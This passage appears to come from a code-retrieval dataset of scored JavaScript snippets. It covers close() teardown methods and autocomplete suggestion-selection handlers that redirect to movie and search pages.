"title": "" }, { "docid": "2a2c978cdb15aadbaec560c6e281c0ef", "score": "0.6723808", "text": "Close() {\n\n }", "title": "" }, { "docid": "0f7811e55b902fedb14f6015b26a2fc6", "score": "0.6721603", "text": "close() {\n if (!this.connected) { return; }\n this.connected = false;\n }", "title": "" }, { "docid": "daf31a99760045862220ef51b8f9d1cd", "score": "0.6679041", "text": "close() {\n if (this._open) {\n this._open = false;\n this._resetContainer();\n this._closed$.next();\n this.openChange.emit(false);\n this._changeDetector.markForCheck();\n }\n }", "title": "" }, { "docid": "f8c605ec0698c575f207a2fc930d45da", "score": "0.667711", "text": "function Close() {\n }", "title": "" }, { "docid": "d76cb3695875b0a737b9225a799772c1", "score": "0.6617321", "text": "close() {\n }", "title": "" }, { "docid": "fa24ae290d7ee8b70a464f0c392b7a7d", "score": "0.6610267", "text": "close() {\n throw new Error('Not implemented');\n }", "title": "" }, { "docid": "768986032984ef6aeb59a4e4a9cb7d1d", "score": "0.65913075", "text": "_close() {\n this.close();\n this.opts.onClose && this.opts.onClose();\n }", "title": "" }, { "docid": "c71431d3ff1b404e8b32acc492ec0ea5", "score": "0.65793395", "text": "async close() {\n try {\n this.wsClose();\n this.server.close();\n\n this.doc.active = false;\n\n await this.doc.save().catch((err) => {generalLogger.serverError(err.stack)});\n\n generalLogger.serverInfo('Exam closes.');\n\n for (let studId in this.conns) {\n\n this.conns[studId].close();\n delete this.conns[studId];\n }\n }\n catch (err) {\n generalLogger.serverError(\"Error whilst closing:\", err.stack);\n }\n }", "title": "" }, { "docid": "14cdcca0832ff855fc2a95a73f3180e2", "score": "0.6567105", "text": "close(){this.opened=!1}", "title": "" }, { "docid": "3d0f27d8485f83ddb62f342691b94f6c", "score": "0.6564243", "text": "close() {\n this.impl.close();\n }", "title": "" }, { "docid": "0e26d1bf21b3a7fcd52af0cddf305adf", "score": "0.6563517", "text": "close() {\n if (this.locked === -1) {\n this.locked = 0;\n }\n }", "title": "" }, { "docid": "aee907a7d971d5cdce0a03a95d034ce7", "score": "0.6501168", "text": "close() {\n this.disconnect();\n }", "title": "" }, { "docid": "ef55b8393f9ffef3750f7e9b95cba6a2", "score": "0.6477989", "text": "function autoClose() {\n close(1);\n }", "title": "" }, { "docid": "f9c4f6929dd003bb19ada4dea658b102", "score": "0.6463342", "text": "close() {\n if (\n !this.conn.destroyed &&\n this.statemachine.current_state !== 'CLOSED' &&\n this.statemachine.current_state !== 'ERROR'\n ) {\n try {\n this.conn.end(wire.close())\n } catch (e) {\n // Continue regardless of error.\n }\n }\n this.statemachine.goto('CLOSED')\n }", "title": "" }, { "docid": "a99d85d825c3c9568e4e00175bf05c69", "score": "0.6454998", "text": "function handleClose() {\n setOpen(false);\n }", "title": "" }, { "docid": "79c71c6663215fcca268677af93e2b79", "score": "0.645133", "text": "function socketClose(){\n if(state < 0) return;\n state = -1;\n streaming.close();\n socket.destroy();\n }", "title": "" }, { "docid": "059139b03f7f56e048c900e5c7c49d5d", "score": "0.64460605", "text": "close(forceClose) {\n super.close(forceClose);\n\n this._isOnOpenCalled = false;\n }", "title": "" }, { "docid": "4794ee103aa4d391619cd4fba6cc67a9", "score": "0.6445339", "text": "close() {\n while (this._settlers.length > 0) {\n const settler = this._settlers.shift();\n\n settler.resolve({\n done: true\n });\n }\n\n this._closed = true;\n }", "title": "" }, { "docid": "102be105579594e9839efdb2125c366a", "score": "0.6442533", "text": "async function close() {\n // Nothing to do here.\n }", "title": "" }, { "docid": "43ffa7808b58e6406e01569da0ca74b3", "score": "0.6434191", "text": "_close() {\n debug(\"disconnect\");\n this.skipReconnect = true;\n this._reconnecting = false;\n if (\"opening\" === this._readyState) {\n // `onclose` will not fire because\n // an open event never happened\n this.cleanup();\n }\n this.backoff.reset();\n this._readyState = \"closed\";\n if (this.engine)\n this.engine.close();\n }", "title": "" }, { "docid": "6cdcb145bf9dce159ae8201b8e51dc00", "score": "0.64259285", "text": "function close_NOW () {\n\t\t\tif (s.isClosed) // skip 'close' if already closed!\n\t\t\t\tbindStopSlidingEvents(pane, false); // UNBIND trigger events - TODO: is this needed here?\n\t\t\telse if (!s.isMoving)\n\t\t\t\tclose(pane); // close will handle unbinding\n\t\t}", "title": "" }, { "docid": "6cdcb145bf9dce159ae8201b8e51dc00", "score": "0.64259285", "text": "function close_NOW () {\n\t\t\tif (s.isClosed) // skip 'close' if already closed!\n\t\t\t\tbindStopSlidingEvents(pane, false); // UNBIND trigger events - TODO: is this needed here?\n\t\t\telse if (!s.isMoving)\n\t\t\t\tclose(pane); // close will handle unbinding\n\t\t}", "title": "" }, { "docid": "2a27846765b2bae084ba6eb7a177cfd9", "score": "0.64193714", "text": "close() {\n if (this.isOpen) {\n this._stopPings();\n this._io.disconnect();\n this._isOpen = false;\n }\n }", "title": "" }, { "docid": "c21da1e80ace2017af40d6d36705209e", "score": "0.64150643", "text": "_close() {\n debug(\"disconnect\");\n this.skipReconnect = true;\n this._reconnecting = false;\n\n if (\"opening\" === this._readyState) {\n // `onclose` will not fire because\n // an open event never happened\n this.cleanup();\n }\n\n this.backoff.reset();\n this._readyState = \"closed\";\n if (this.engine) this.engine.close();\n }", "title": "" }, { "docid": "fbfb62e5dcab7767f2deb3652c98f7ba", "score": "0.64075446", "text": "close(){\n this.state = STATES.closed;\n this.node.className = CARD_CLASSES.card;\n this.update();\n }", "title": "" }, { "docid": "7f67771e77f0dd7ce05664258874ebf9", "score": "0.6406465", "text": "close() {\n this.teardown = true;\n this.socket.terminate();\n }", "title": "" }, { "docid": "d7e6712eda7f613b69d73c8d8b8737c9", "score": "0.6406159", "text": "close() {\n const info = privates.get(this);\n // if laready closed, nothing happens\n if (info.status === Doors.CLOSED) return;\n // otherwise be sure nobody gets chopped while closing\n info.sensor.activate();\n // and start moving doors through the motor\n info.motor.rotate(-1);\n }", "title": "" }, { "docid": "31243a059741952fdd225271544c45f7", "score": "0.63984823", "text": "function close_NOW () {\r\n\t\t\tif (s.isClosed) // skip 'close' if already closed!\r\n\t\t\t\tbindStopSlidingEvents(pane, false); // UNBIND trigger events - TODO: is this needed here?\r\n\t\t\telse if (!s.isMoving)\r\n\t\t\t\tclose(pane); // close will handle unbinding\r\n\t\t}", "title": "" }, { "docid": "26bad057834f929cac4b33a9bcd10d91", "score": "0.63889587", "text": "close () {\n var self = this\n this._destroy(null, function () {\n self.push(null)\n })\n }", "title": "" }, { "docid": "0f373c8632841b4fc3151c3f8541f78c", "score": "0.6380375", "text": "close(forceClose = false) {\n if (!this.open) {\n return;\n }\n\n this.open = false;\n this._negotiator.cleanup();\n this.emit(connection_Connection.EVENTS.close.key);\n\n if (forceClose) {\n this.emit(connection_Connection.EVENTS.forceClose.key);\n }\n }", "title": "" }, { "docid": "e3ebbecec4f6598038f2a4efe468116e", "score": "0.6367243", "text": "_close() {\n debug(\"disconnect\");\n this.skipReconnect = true;\n this._reconnecting = false;\n if (\"opening\" === this._readyState) {\n // `onclose` will not fire because\n // an open event never happened\n this.cleanup();\n }\n this.backoff.reset();\n this._readyState = \"closed\";\n if (this.engine)\n this.engine.close();\n }", "title": "" }, { "docid": "e3ebbecec4f6598038f2a4efe468116e", "score": "0.6367243", "text": "_close() {\n debug(\"disconnect\");\n this.skipReconnect = true;\n this._reconnecting = false;\n if (\"opening\" === this._readyState) {\n // `onclose` will not fire because\n // an open event never happened\n this.cleanup();\n }\n this.backoff.reset();\n this._readyState = \"closed\";\n if (this.engine)\n this.engine.close();\n }", "title": "" }, { "docid": "e3ebbecec4f6598038f2a4efe468116e", "score": "0.6367243", "text": "_close() {\n debug(\"disconnect\");\n this.skipReconnect = true;\n this._reconnecting = false;\n if (\"opening\" === this._readyState) {\n // `onclose` will not fire because\n // an open event never happened\n this.cleanup();\n }\n this.backoff.reset();\n this._readyState = \"closed\";\n if (this.engine)\n this.engine.close();\n }", "title": "" }, { "docid": "53b5c0a8c00e8e14b4b1ca69d045d29e", "score": "0.6349578", "text": "async close() { }", "title": "" }, { "docid": "d93865984598f96769f846f81a2f9b8d", "score": "0.63202083", "text": "close() {\n this.remove();\n }", "title": "" }, { "docid": "4646c9155f1b3e615e6ee6d9d1aef6f5", "score": "0.63066685", "text": "close() {\r\n this.object.removeClass(this.class);\r\n }", "title": "" }, { "docid": "030b7a0867b4cb7eccafc326bcfcb3e1", "score": "0.630215", "text": "close() {\n\t\tthis._communicator.close();\n\t\tthis._resetState();\n\t}", "title": "" }, { "docid": "23dcdbe779dba9aa7f79705e022e86b8", "score": "0.6292314", "text": "close() {\n if (!this._open) {\n return;\n }\n\n if (this._negotiator) {\n this._negotiator.cleanup();\n }\n\n this._open = false;\n\n const message = {\n roomName: this.name,\n };\n this.emit(sfuRoom_SFURoom.MESSAGE_EVENTS.leave.key, message);\n this.emit(sfuRoom_SFURoom.EVENTS.close.key);\n }", "title": "" }, { "docid": "4acec3b402a608b0434ce75617f54f86", "score": "0.62821233", "text": "async close() {\n if (this.#ready !== true) {\n await this.#ready;\n }\n await this.#prev;\n this.dispatchEvent(new CloseEvent({ cancelable: false }));\n }", "title": "" }, { "docid": "4dca99f67ff6ab4af065411d5d5b705b", "score": "0.6267537", "text": "close(forceClose = undefined) {\n if (!this.open) {\n return;\n }\n\n this.open = false;\n this._negotiator.cleanup();\n this.emit(Connection.EVENTS.close.key);\n\n if (forceClose) {\n this.emit(Connection.EVENTS.forceClose.key);\n } else if (forceClose === undefined) {\n logger.warn(\n `Default value of the forceClose parameter will change false to true from future versions.`\n );\n }\n }", "title": "" }, { "docid": "ca815db91330c56c7eb646d3303c926b", "score": "0.6261482", "text": "close(){\n if(typeof this.onClose === 'function'){\n this.onClose();\n }\n }", "title": "" }, { "docid": "4bafa813471e6df16f9667540392f4e4", "score": "0.6260647", "text": "close() {\n this.sendAction('close');\n }", "title": "" }, { "docid": "32e9fd88f1cfa50b9c6b78f5524a8410", "score": "0.6239693", "text": "close() {\n\t\t\tthis.visible = false\n\t\t\tthis._unlockBody()\n\n\t\t\tsetTimeout(() => this.is_open = false, 300)\n\t\t\tthis.$emit('close')\n\t\t}", "title": "" }, { "docid": "32e9fd88f1cfa50b9c6b78f5524a8410", "score": "0.6239693", "text": "close() {\n\t\t\tthis.visible = false\n\t\t\tthis._unlockBody()\n\n\t\t\tsetTimeout(() => this.is_open = false, 300)\n\t\t\tthis.$emit('close')\n\t\t}", "title": "" }, { "docid": "3155c3cbc1b3abf8a255a15fbe66e9e7", "score": "0.6237457", "text": "function onClose() {\n\t\tself.emit( 'close' );\n\t}", "title": "" }, { "docid": "3155c3cbc1b3abf8a255a15fbe66e9e7", "score": "0.6237457", "text": "function onClose() {\n\t\tself.emit( 'close' );\n\t}", "title": "" }, { "docid": "6e37e76b2eae400245701aac2b920a0f", "score": "0.6218053", "text": "closeSync() {\n // NOP.\n }", "title": "" }, { "docid": "9707a337f21ab2fba8c6ce6f3f18b1e4", "score": "0.6212919", "text": "_close() {\n log.debug(`Closing the stream`);\n if (this._closed) {\n log.debug('already closed...');\n return;\n }\n if (this._speaker) {\n this._speaker.close();\n }\n\n this._closed = true;\n\n /**\n * This event is fired after end() is called on the speaker and speaker\n * is done playing the entire audio stream. This speaker instance is\n * essentially finished after this point\n *\n * @event close\n * @memberof silk-speaker\n * @instance\n */\n this.emit('close');\n }", "title": "" }, { "docid": "d23129fa6ee86f71f966549ca4598947", "score": "0.6212761", "text": "close() {\r\n if (!this.opener.isOpen || this.isDestroying) {\r\n return;\r\n }\r\n\r\n this.isDestroying = true;\r\n\r\n this.dispatch('close');\r\n\r\n this.events.removeAll();\r\n this.opener.close();\r\n }", "title": "" }, { "docid": "a06be140cd628b352a801d1417ca3265", "score": "0.6204445", "text": "function ot_close() {\n\tsocket_ot.close(3000, \"Bye!\");\n}", "title": "" }, { "docid": "3e0efbb33f292e3a9c7e8347e56be83b", "score": "0.61814624", "text": "close() {\n this.pc.close();\n }", "title": "" }, { "docid": "a86d3facc2e4c7b51029123540155af3", "score": "0.6158765", "text": "close(){\n //this needs to be updated per port\n //also with client-side library\n this.serialPorts = [];\n this.serialPortsList = [];\n\n //close message via sendit?\n //close ws?\n //this.sendit()\n }", "title": "" }, { "docid": "6f723ac879eb21a72410b7f0c1212525", "score": "0.615695", "text": "function close() {\n\t\trunner.close();\n\t}", "title": "" }, { "docid": "59540afb58531a7f0af8d9dbd590efe2", "score": "0.6153003", "text": "close () {\n if (!this.value || !this.selectedDisplay) {\n //this.clear()\n this.value = this.copyDisplay ? this.display : null;\n this.$emit('nothing-selected', this.display)\n }\n\n if (this.selectedDisplay !== this.display && this.value) {\n this.value = this.copyDisplay ? this.display : null;;\n }\n\n //if (this.selectedDisplay !== this.display && this.value) {\n // this.display = this.selectedDisplay\n //}\n\n this.results = null\n this.error = null\n this.removeEventListener()\n this.$emit('close', this.display)\n this.$emit('input', this.value)\n this.$emit('update:displayValue', this.display);\n }", "title": "" }, { "docid": "9ce4c23b22bf9be9e0446fd62d9e8453", "score": "0.6151382", "text": "close() {\n\n // Will only be available once the component is mounted\n if (this._close)\n this._close()\n\n }", "title": "" }, { "docid": "b5e052b74070b9a9efb8d10fc25f2357", "score": "0.6148918", "text": "function onclose() {\n if (self.opened) {\n // It will fire `close` event finally.\n self.close();\n }\n }", "title": "" }, { "docid": "779efa5833c712a8474bb7f544906234", "score": "0.613485", "text": "close() {\n this.settings.clear();\n this.running = false;\n this.removeAllListeners();\n }", "title": "" }, { "docid": "7d3ff98d5e5a5353c85823cdd7cdd67d", "score": "0.6125491", "text": "close() {\n return this.write(null);\n }", "title": "" }, { "docid": "15375ad9a7d0e6f3df876fb94f739fb4", "score": "0.6122277", "text": "function CloseMe()\n{ kill=true; self.close(); }", "title": "" }, { "docid": "782eff2a38820d762902907642cc41bb", "score": "0.6117606", "text": "function close()\n{\n closeFrame();\n}\t\t// close", "title": "" }, { "docid": "f9a1609f7aaf58aa080b865275a5b062", "score": "0.6115958", "text": "function closeSesion() {\n socketRef.current.disconnect();\n }", "title": "" }, { "docid": "e7ab42b36b679d145ee985e165f96787", "score": "0.61018217", "text": "function close(ch) {\n ch.closed = true;\n kick(ch);\n}", "title": "" }, { "docid": "980aede0198794bbdc8385e1457254ae", "score": "0.61011326", "text": "close() {\n this._shouldBeOpen = false;\n if (this.collapsed) {\n return;\n }\n this.target.close();\n }", "title": "" }, { "docid": "3d1a2052ab89a13b40bca4f5099e9128", "score": "0.60939324", "text": "action() {\n this.close();\n }", "title": "" }, { "docid": "d9876ab1b9b12ca72f94b8d4a3f3c282", "score": "0.6089018", "text": "function ot_req_close() {\n\tsocket_ot.send(\"closeme\\n\");\n}", "title": "" }, { "docid": "c1066702b0a61380ca9ed4b49cc3c83d", "score": "0.60876507", "text": "immediateClose() {\n if (!this.dbClosed) {\n this.db.close();\n this.storeName = null;\n this.map.clear();\n this.dbClosed = true;\n }\n }", "title": "" }, { "docid": "e88c29ecec2085d9f69b8f2d8c235726", "score": "0.60829407", "text": "function close() {\n var variable = this,\n shouldClose = _onBeforeSocketClose(variable),\n socket = getSocket(variable);\n if (shouldClose === false) {\n return;\n }\n socket.close();\n }", "title": "" }, { "docid": "ebcaae57707291a9b4afbe79f575e318", "score": "0.6079124", "text": "onClose() {}", "title": "" }, { "docid": "d73bf6be5665da54587f90c5e7423051", "score": "0.60740626", "text": "close() {\n clearInterval(this.listener);\n }", "title": "" }, { "docid": "67485570bbf0a876ce26dfc20e7f7440", "score": "0.6073052", "text": "_onClose(){\n \n this._connect();\n }", "title": "" }, { "docid": "79dce148641f2389e9e71e9f900fbc55", "score": "0.6069173", "text": "close() {\n clearTimeout(this._expiration);\n this.emit('expired');\n }", "title": "" }, { "docid": "ed2b97965322ebacaf26c32f771e4bc1", "score": "0.6068206", "text": "close() {\n\t\tthis.sock.close();\n\t}", "title": "" }, { "docid": "4a85be7b2848ad2f7802f4a19ac67851", "score": "0.60644686", "text": "doClose() {\n const close = () => {\n debug(\"writing close packet\");\n this.write([{ type: \"close\" }]);\n };\n if (\"open\" === this.readyState) {\n debug(\"transport open - closing\");\n close();\n }\n else {\n // in case we're trying to close while\n // handshaking is in progress (GH-164)\n debug(\"transport not open - deferring close\");\n this.once(\"open\", close);\n }\n }", "title": "" }, { "docid": "51bd686e4f63d58a6049f0a121fd2a45", "score": "0.60405755", "text": "doClose() {\n const close = () => {\n debug$3(\"writing close packet\");\n this.write([{ type: \"close\" }]);\n };\n\n if (\"open\" === this.readyState) {\n debug$3(\"transport open - closing\");\n close();\n } else {\n // in case we're trying to close while\n // handshaking is in progress (GH-164)\n debug$3(\"transport not open - deferring close\");\n this.once(\"open\", close);\n }\n }", "title": "" }, { "docid": "91eed508d8c57e6e80dd46a7b8f4d14b", "score": "0.6032458", "text": "function close_NOW () {\n\t\t\tbindStopSlidingEvents(pane, false); // pane is being closed, so UNBIND trigger events\n\t\t\tif (!s.isClosed) close(pane); // skip if already closed!\n\t\t}", "title": "" }, { "docid": "4abfb3bae5722fe53de7a3346d9f8b72", "score": "0.6020808", "text": "doClose() {\n const self = this;\n\n function close() {\n debug(\"writing close packet\");\n self.write([{\n type: \"close\"\n }]);\n }\n\n if (\"open\" === this.readyState) {\n debug(\"transport open - closing\");\n close();\n } else {\n // in case we're trying to close while\n // handshaking is in progress (GH-164)\n debug(\"transport not open - deferring close\");\n this.once(\"open\", close);\n }\n }", "title": "" }, { "docid": "10157a3e413e0c53ea61312caf55607d", "score": "0.6018513", "text": "onClose() {\n this.logger.write(`[INFO] Closing...\\n`);\n \n fs.close(this.fileDescriptor, () => {\n this.logger.write(`[OK] Bye!\\n`);\n process.exit();\n });\n }", "title": "" }, { "docid": "57b8a1aa31cc083707e45411887b3a80", "score": "0.60176784", "text": "destroy() {\n this._close(\"release\");\n }", "title": "" }, { "docid": "53d12fdc091e4aee8c7734656ffcd7ad", "score": "0.60064614", "text": "__onClose () {\n this.__removeOpenListeners();\n }", "title": "" }, { "docid": "2dae0cac02a47d20a8713abdbd24415f", "score": "0.6003806", "text": "doClose() {\n const self = this;\n\n function close() {\n debug(\"writing close packet\");\n self.write([{ type: \"close\" }]);\n }\n\n if (\"open\" === this.readyState) {\n debug(\"transport open - closing\");\n close();\n } else {\n // in case we're trying to close while\n // handshaking is in progress (GH-164)\n debug(\"transport not open - deferring close\");\n this.once(\"open\", close);\n }\n }", "title": "" }, { "docid": "e63974647802717670d653e466256c4f", "score": "0.5986066", "text": "close() {\n /** @suppress {visibility} suppression added to enable type checking */\n this.readyState = NetWebSocket.ReadyState_.CLOSING;\n }", "title": "" }, { "docid": "2760cc1c041a6aa031906410f7550ed3", "score": "0.598086", "text": "doClose() {\n const close = () => {\n debug(\"writing close packet\");\n this.write([{ type: \"close\" }]);\n };\n\n if (\"open\" === this.readyState) {\n debug(\"transport open - closing\");\n close();\n } else {\n // in case we're trying to close while\n // handshaking is in progress (GH-164)\n debug(\"transport not open - deferring close\");\n this.once(\"open\", close);\n }\n }", "title": "" } ]
05461170a890d22dd4d1c9dd63b073c7
This function is the select suggestion handler function. When a suggestion is selected, this function is called by the library. You can redirect to the page you want using the suggestion data.
[ { "docid": "4580097e2cb5afcc9dc3f70b5d3b3046", "score": "0.81900966", "text": "function handleSelectSuggestion(suggestion) {\n // TODO: jump to the specific result page based on the selected suggestion\n // \"../movieList.html\"\n location.href = \"./MovieInformation/movie.html?id=\" + suggestion[\"data\"][\"movieID\"];\n //console.log(\"you select \" + suggestion[\"value\"] + \" with ID \" + suggestion[\"data\"][\"movieID\"])\n\n}", "title": "" } ]
[ { "docid": "58dd271ec71cc8caf2e1f384744cb6b0", "score": "0.83394676", "text": "function handleSelectSuggestion(suggestion) {\r\n\t// TODO: jump to the specific result page based on the selected suggestion\r\n\t\r\n\tconsole.log(\"you select \" + suggestion[\"value\"] + \" with ID \" + suggestion[\"data\"])\r\n\t\r\n\tlocation.href = \"single-movie.html?id=\" + suggestion[\"data\"][\"id\"];\r\n}", "title": "" }, { "docid": "dbc27f260f267c37cb84552b2b23ac77", "score": "0.82424766", "text": "function handleSelectSuggestion(suggestion) {\n // TODO: jump to the specific result page based on the selected suggestion\n\n console.log(\"you select \" + suggestion[\"value\"]);\n var url = \"movie.html?movieid=\" + suggestion[\"data\"][\"id\"];\n console.log(url);\n location.href = url;\n}", "title": "" }, { "docid": "0580c437bd93f82b600f1de0917284e7", "score": "0.8210445", "text": "function handleSelectSuggestion(suggestion) {\n\t// TODO: jump to the specific result page based on the selected suggestion\n\t\n\tconsole.log(\"you select \" + suggestion[\"value\"] + \" with ID \" + suggestion[\"data\"][\"movieID\"])\n\tconsole.log(suggestion[\"value\"]);\n\twindow.location.href = `./single-movie.html?id=${suggestion[\"data\"][\"movieID\"]}`;\n}", "title": "" }, { "docid": "8f7ef1eb8d9f8acd6bf8353f2cc534be", "score": "0.81038827", "text": "function handleSelectSuggestion(suggestion) {\n // TODO: jump to the specific result page based on the selected suggestion\n sessionStorage.setItem(\"returnPage\", window.location.pathname+window.location.search);\n console.log(\"you select \" + suggestion[\"value\"] + \" with ID \" + suggestion[\"data\"][\"ID\"]);\n location.href = \"single-movie.html?id=\"+suggestion[\"data\"][\"ID\"];\n}", "title": "" }, { "docid": "e11441c34b51237a476cc824a2b0d74c", "score": "0.7757969", "text": "function onSuggestionSelected(event, {suggestion, suggestionValue, suggestionIndex, sectionIndex, method}) {\n if (suggestionValue) {\n const url = window.location.protocol + '//' + window.location.host + window.location.pathname.replace(/\\/$/, \"\");\n window.location.href = `${url}?any=${suggestionValue}`;\n }\n}", "title": "" }, { "docid": "d1b954ac65c7ad208b0138f5c2a58801", "score": "0.76700634", "text": "function handleSelectSuggestion(suggestion) {\n window.location.replace(\"/fabflix/single-movie.html?id=\"+suggestion[\"data\"][\"movieId\"]);\n}", "title": "" }, { "docid": "5f6535f2179478f7e0a634d5608ee7f3", "score": "0.6966648", "text": "function open_suggestion ( data, status, xhr ) {\n var payload = xhr.responseText;\n $('#ct-suggest-form > input[name=\"data\"]').val(payload);\n $('#ct-suggest-submit').click();\n }", "title": "" }, { "docid": "92ad1c31ab4eb65a8eae4a7d58b71e87", "score": "0.6675219", "text": "function selectHandler() {\n var selectedItem = chart.getSelection()[0];\n if (selectedItem) {\n window.location.href = \"/course?id=\" + data.getColumnLabel(selectedItem.column);\n }\n }", "title": "" }, { "docid": "4785a6fb31f7cc96b29786802bd49e78", "score": "0.6628221", "text": "function handleClick() {\n window.location = `/search${\n inputValue && optionSelect\n ? '?query=' + inputValue + '&topic=' + optionSelect\n : inputValue\n ? '?query=' + inputValue\n : optionSelect\n ? '?topic=' + optionSelect\n : ''\n }`\n }", "title": "" }, { "docid": "d39601009de4af3436d4181cbfc0fcb9", "score": "0.65995204", "text": "onSelectSuggestion(item) {\n \n }", "title": "" }, { "docid": "47fa59dd8a12c3d7a376ceafa6e66a14", "score": "0.65818703", "text": "function setSuggestion(suggestion)\n{\n document.getElementById(\"query\").value=suggestion;\n hide();\n location.href=\"querypage?query=\" + suggestion;\n}", "title": "" }, { "docid": "34dfd93b579bdfc0de467fd4882f9362", "score": "0.64663535", "text": "function searchBtnClicked() {\n let selectedOption = $('#select-menu').val();\n let query = $('#search-box').val();\n try {\n if (!query) {\n throw new Error('Please fill the field');\n } else {\n if (selectedOption == '1') {\n let capitalalphaCode = query.toUpperCase();\n let capitalizeCountry = toTitleCase(query);\n country(query, capitalalphaCode, capitalizeCountry);\n\n } else if (selectedOption == '2') {\n window.location.assign(`/events?query=${query}`);\n }\n }\n } catch (e) {\n alert(e.message);\n }\n event.preventDefault();\n}", "title": "" }, { "docid": "31bb485d146f924085c1dc16d1829cd5", "score": "0.64046055", "text": "function onSelection($e, datum) {\n if ($e.currentTarget.id !== 'parent-limit') {\n // restoring the original value\n $typeahead.typeahead('val', searchString);\n var localname = datum.localname;\n var params = {};\n if (!localname || encodeURIComponent(localname) !== localname) {\n localname = '';\n params.uri = datum.uri;\n }\n if ($('input[name=anylang]').is(':checked')) { params.anylang = 'on'; params.clang = datum.lang }\n else if (clang && clang !== lang) { params.clang = clang; }\n var paramstr = $.isEmptyObject(params) ? '' : '?' + $.param(params);\n var base_href = $('base').attr('href'); // see #315\n location.href = base_href + datum.vocab + '/' + lang + '/page/' + localname + paramstr;\n } else {\n $('#parent-limit').attr('data-uri', datum.uri);\n $('#parent-limit').val(datum.label);\n parentLimitReady = true;\n return false;\n }\n }", "title": "" }, { "docid": "23fa6a0210c3e81c46e7d3c731b92639", "score": "0.63580817", "text": "function selectHandler(e) {\n var selectedItem = chart.getSelection()[0];\n if (selectedItem) {\n window.location.href = \"/student?id=\" + participation_info[selectedItem.row][0];\n }\n }", "title": "" }, { "docid": "c047a94eddc013fd0c5a94e77b211a2c", "score": "0.63405514", "text": "function go($input, event) {\n\t\twindow.location.href = $input.next(\".search_results\").find(\"ul li, ul ul li, ul ul ul li\").eq(selected).attr(\"href\");\n\t}", "title": "" }, { "docid": "aa32eea4cca8e499aa1b7797e083a1d1", "score": "0.63154334", "text": "function selectHandler() {\n var selectedItem = chart.getSelection()[0];\n if (selectedItem) {\n window.location.href = \"/student?id=\" + histogram_data[selectedItem.row][2];\n }\n }", "title": "" }, { "docid": "826cf6820f51807e0219977ba7e9c872", "score": "0.62984306", "text": "onSuggestionSelected (event, { suggestionValue }) {\n if (this.props.query) {\n let { start, end } = this.props.query\n if (start && end) {\n Router.push(\n `${this.props.url\n .pathname}?start=${start}&end=${end}&search=${suggestionValue}`\n )\n .then(() => window.scrollTo(0, 0))\n .catch(e => console.log(e))\n return\n }\n }\n Router.push(`${this.props.url.pathname}?search=${suggestionValue}`)\n .then(() => window.scrollTo(0, 0))\n .catch(e => console.log(e))\n }", "title": "" }, { "docid": "c4069063a0a821c1ff167ba94dbe9886", "score": "0.6294567", "text": "function selectHandler() {\n var selectedItem = chart.getSelection()[0];\n if (selectedItem) {\n var year = data.getValue(selectedItem.row, 0);\n var thisSearchindex = selectedItem['column'];\n var myterm = searches.searchterms[thisSearchindex-1];\n var resultsURL = 'https://www.govinfo.gov/app/search/';\n var querybits = '{\"offset\":0,\"query\":\"collection:(' + type + ') AND publishdate:' + year + ' AND content:(' + myterm + ')\",\"historical\":true}';\n resultsURL = resultsURL + querybits;\n window.open(resultsURL,'_blank');\n }\n }", "title": "" }, { "docid": "ae318b09ba750301867e615ea20aba44", "score": "0.62706524", "text": "function selectHandler(e){\n var city = data.getValue(visualization.getSelection()[0].row, 0);\n window.location = APP_URL + '/profiles/' + city\n }", "title": "" }, { "docid": "7a0f452720d3fad944c0d8e88319424b", "score": "0.6208486", "text": "select(selection, t) {\n if (selection && selection.length === 1) {\n t.props.history.push('/departures/' + selection[0].code)\n }\n }", "title": "" }, { "docid": "debd85cc3701c9b2be6e25b66f56c559", "score": "0.61461294", "text": "onChangeSelection(text){\n this.setState({ text });\n this.props.findResults(text);\n this.props.history.push('/results');\n }", "title": "" }, { "docid": "3cc7ec7df29753e7db1a7f509d0ddfc0", "score": "0.60547143", "text": "function start_suggestion() {\n var payload = $axel('#c-editor-coaching-assignment').xml();\n $.ajax({\n url : window.location.href + '/match',\n type : 'post',\n async : false,\n data : payload,\n dataType : 'xml',\n cache : false,\n timeout : 50000,\n contentType : \"application/xml; charset=UTF-8\",\n success : open_suggestion\n });\n // return true;\n }", "title": "" }, { "docid": "995223dd63830c70178969c44148659e", "score": "0.6042319", "text": "function suggestionClick(event) {\n let suggestion = event.target.value;\n if (findField.value === suggestion) {\n findBar.onFindAgainCommand(false);\n } else {\n let word = findField.value = suggestion;\n findBar._find();\n suggest(word, content);\n }\n }", "title": "" }, { "docid": "58d31a790e29a76a8941da148c9ae2f4", "score": "0.6027725", "text": "function handleResults(response) {\n if ((response.suggestedTerms && response.suggestedTerms.length > 0) && (response.recommendedItems && response.recommendedItems.length > 0)) {\n showPanel();\n if (reloadSuggestions) {\n sendSmartSearchPageLoadAction();\n ssSuggestions.empty();\n for (var i = 0; i < Math.min(settings.maxSuggestions, response.suggestedTerms.length); i++) {\n var currentTerm = response.suggestedTerms[i];\n if (currentTerm.termApproval === 'Blocked') {\n ssSuggestions.append(Evergage.cashDom(\"<li>\" + currentTerm.termId.toUpperCase() + \"</li>\").css(\"display\", \"none\"));\n } else {\n ssSuggestions.append(Evergage.cashDom(\"<li>\" + currentTerm.termId.toUpperCase() + \"</li>\"));\n }\n }\n Evergage.cashDom(ssSuggestions).find('li').on(\"mouseenter mouseleave\", function() {\n var text = Evergage.cashDom(this).text();\n clearTimeout(hoverTimer);\n hoverTimer = setTimeout(function () {\n selectSuggestion(text);\n }, 500);\n\n }).on(\"mouseout\", function () {\n clearTimeout(hoverTimer);\n }).on(\"click\", function () {\n var text = Evergage.cashDom(this).text();\n selectSuggestion(text);\n });\n highlightFirstSuggestion();\n }\n\n\n ssResults.empty();\n for (var j = 0; j < response.recommendedItems.length; j++) {\n var item = response.recommendedItems[j];\n if ((item.name && item.name !== \"\") && (item.url && item.url !== \"\")) {\n var associatedTerm = currentlySelectedSuggestion;\n var itemBlock = buildItemBlock(item, associatedTerm);\n var li = Evergage.cashDom(\"<li>\").append(itemBlock);\n li.attr(\"data-evg-item-id\", item._id);\n li.attr(\"data-evg-item-type\", item.type);\n li.attr(\"data-evg-item-tagType\", item.tagType);\n li.attr(\"data-evg-item-term\", associatedTerm);\n ssResults.append(li);\n }\n }\n updateCurrentRecommendedItems(response.recommendedItems);\n addSearchResultClickHandlers();\n } else {\n hidePanel();\n }\n }", "title": "" }, { "docid": "af11cf364377cfd437739826c81d4778", "score": "0.60186124", "text": "function clickedSuggestion(event) {\n\t//sets the appropriate text box's text to the selected suggestion's text\n\tvar selectedText = event.target.innerHTML;\n\tif (info.type == true) { //true means that the input was the start 